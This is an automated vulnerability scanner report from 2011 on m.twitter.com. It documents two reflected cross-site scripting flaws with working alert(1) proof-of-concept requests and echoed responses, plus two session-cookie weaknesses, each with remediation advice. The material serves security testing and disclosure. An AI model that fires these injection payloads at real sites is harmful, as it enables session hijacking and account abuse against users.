m.twitter.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

XSS in m.twitter.com | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Fri Jan 28 09:14:12 CST 2011.



DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

1.1. http://m.twitter.com/ [name of an arbitrarily supplied request parameter]

1.2. http://m.twitter.com/ [name of an arbitrarily supplied request parameter]

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://m.twitter.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.twitter.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b33b"><script>alert(1)</script>66fddc13637 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?6b33b"><script>alert(1)</script>66fddc13637=1 HTTP/1.1
Host: m.twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Fri, 28 Jan 2011 14:25:14 GMT
Server: hi
Status: 200 OK
X-Transaction: 1296224714-94384-53588
ETag: "34b49eac2e362d248cccdbc193b44940"
Last-Modified: Fri, 28 Jan 2011 14:25:14 GMT
X-Runtime: 0.01583
Content-Type: text/html; charset=utf-8
Content-Length: 707
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Set-Cookie: k=173.193.214.243.1296224713970541; path=/; expires=Fri, 04-Feb-11 14:25:13 GMT; domain=.twitter.com
Set-Cookie: guest_id=129622471421166716; path=/; expires=Sun, 27 Feb 2011 14:25:14 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: admobuu=f554a8fb317c5032106452a3b68a313e; domain=.m.twitter.com; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
Set-Cookie: _twitter_sess=BAh7CToVaW5fbmV3X3VzZXJfZmxvdzA6D2NyZWF0ZWRfYXRsKwjlfQPNLQE6%250AB2lkIiVkNDdhNWRkOTU1MzE0NjU0Y2Y4YWZiYjY3Mzg0NDAyNCIKZmxhc2hJ%250AQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVz%250AZWR7AA%253D%253D--270a4be9e67fd3d0959aaf94c7e836625181ea0a; domain=.twitter.com; path=/
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

<html><head>
<script type="text/javascript">
//<![CDATA[
(function(g){var a=location.href.split("#!")[1];if(a){window.location.hash = "";g.location="http://mobile.twitter.com" + a.replac
...[SNIP]...
<meta http-equiv="refresh" content="0;url=http://mobile.twitter.com/?6b33b"><script>alert(1)</script>66fddc13637=1">
...[SNIP]...

1.2. http://m.twitter.com/ [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://m.twitter.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d526a"-alert(1)-"d9a91211762 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?d526a"-alert(1)-"d9a91211762=1 HTTP/1.1
Host: m.twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Fri, 28 Jan 2011 14:25:15 GMT
Server: hi
Status: 200 OK
X-Transaction: 1296224715-69419-9690
ETag: "4eb755daa827768b5ce668b2153e3509"
Last-Modified: Fri, 28 Jan 2011 14:25:15 GMT
X-Runtime: 0.02938
Content-Type: text/html; charset=utf-8
Content-Length: 662
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Set-Cookie: k=173.193.214.243.1296224715200558; path=/; expires=Fri, 04-Feb-11 14:25:15 GMT; domain=.twitter.com
Set-Cookie: guest_id=129622471533872803; path=/; expires=Sun, 27 Feb 2011 14:25:15 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: admobuu=0d781e83e3ea130d57f28639024e872a; domain=.m.twitter.com; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
Set-Cookie: _twitter_sess=BAh7CToVaW5fbmV3X3VzZXJfZmxvdzA6B2lkIiVjMzMyNjBmODVkNGIwZjMy%250AOTYyZjg4M2U2YTEzOWM3MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCEuC%250AA80tAQ%253D%253D--ba14cb9f9db314d8ba4ba08f2f40f3c34c4d9d9e; domain=.twitter.com; path=/
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

<html><head>
<script type="text/javascript">
//<![CDATA[
(function(g){var a=location.href.split("#!")[1];if(a){window.location.hash = "";g.location="http://mobile.twitter.com" + a.replace(/^([^\/])/,"/$1");}else{g.location="http://mobile.twitter.com/?d526a"-alert(1)-"d9a91211762=1"}})(window);
//]]>
...[SNIP]...

2. Cookie scoped to parent domain  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://m.twitter.com
Path:   /

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET / HTTP/1.1
Host: m.twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Fri, 28 Jan 2011 14:25:09 GMT
Server: hi
Status: 200 OK
X-Transaction: 1296224709-38750-31363
ETag: "b7fd6e2139a6f2703665db84a53c9275"
Last-Modified: Fri, 28 Jan 2011 14:25:09 GMT
X-Runtime: 0.01143
Content-Type: text/html; charset=utf-8
Content-Length: 569
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Set-Cookie: k=173.193.214.243.1296224709781742; path=/; expires=Fri, 04-Feb-11 14:25:09 GMT; domain=.twitter.com
Set-Cookie: guest_id=129622470978473455; path=/; expires=Sun, 27 Feb 2011 14:25:09 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: admobuu=f9cd9a0080028e910a2819c222b21443; domain=.m.twitter.com; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
Set-Cookie: _twitter_sess=BAh7CToVaW5fbmV3X3VzZXJfZmxvdzA6D2NyZWF0ZWRfYXRsKwiabAPNLQE6%250AB2lkIiUwNGRiYTY0NGRlZGIyZjYxMGI0NzAyNmVlM2RhMDBmMyIKZmxhc2hJ%250AQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVz%250AZWR7AA%253D%253D--26c3ff77eb33da4b2eb91a89fcf1384d935e91c6; domain=.twitter.com; path=/
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

<html><head>
<script type="text/javascript">
//<![CDATA[
(function(g){var a=location.href.split("#!")[1];if(a){window.location.hash = "";g.location="http://mobile.twitter.com" + a.replac
...[SNIP]...

3. Cookie without HttpOnly flag set  previous

Summary

Severity:   Low
Confidence:   Firm
Host:   http://m.twitter.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET / HTTP/1.1
Host: m.twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Fri, 28 Jan 2011 14:25:09 GMT
Server: hi
Status: 200 OK
X-Transaction: 1296224709-38750-31363
ETag: "b7fd6e2139a6f2703665db84a53c9275"
Last-Modified: Fri, 28 Jan 2011 14:25:09 GMT
X-Runtime: 0.01143
Content-Type: text/html; charset=utf-8
Content-Length: 569
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Set-Cookie: k=173.193.214.243.1296224709781742; path=/; expires=Fri, 04-Feb-11 14:25:09 GMT; domain=.twitter.com
Set-Cookie: guest_id=129622470978473455; path=/; expires=Sun, 27 Feb 2011 14:25:09 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: admobuu=f9cd9a0080028e910a2819c222b21443; domain=.m.twitter.com; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
Set-Cookie: _twitter_sess=BAh7CToVaW5fbmV3X3VzZXJfZmxvdzA6D2NyZWF0ZWRfYXRsKwiabAPNLQE6%250AB2lkIiUwNGRiYTY0NGRlZGIyZjYxMGI0NzAyNmVlM2RhMDBmMyIKZmxhc2hJ%250AQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVz%250AZWR7AA%253D%253D--26c3ff77eb33da4b2eb91a89fcf1384d935e91c6; domain=.twitter.com; path=/
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

<html><head>
<script type="text/javascript">
//<![CDATA[
(function(g){var a=location.href.split("#!")[1];if(a){window.location.hash = "";g.location="http://mobile.twitter.com" + a.replac
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Fri Jan 28 09:14:12 CST 2011.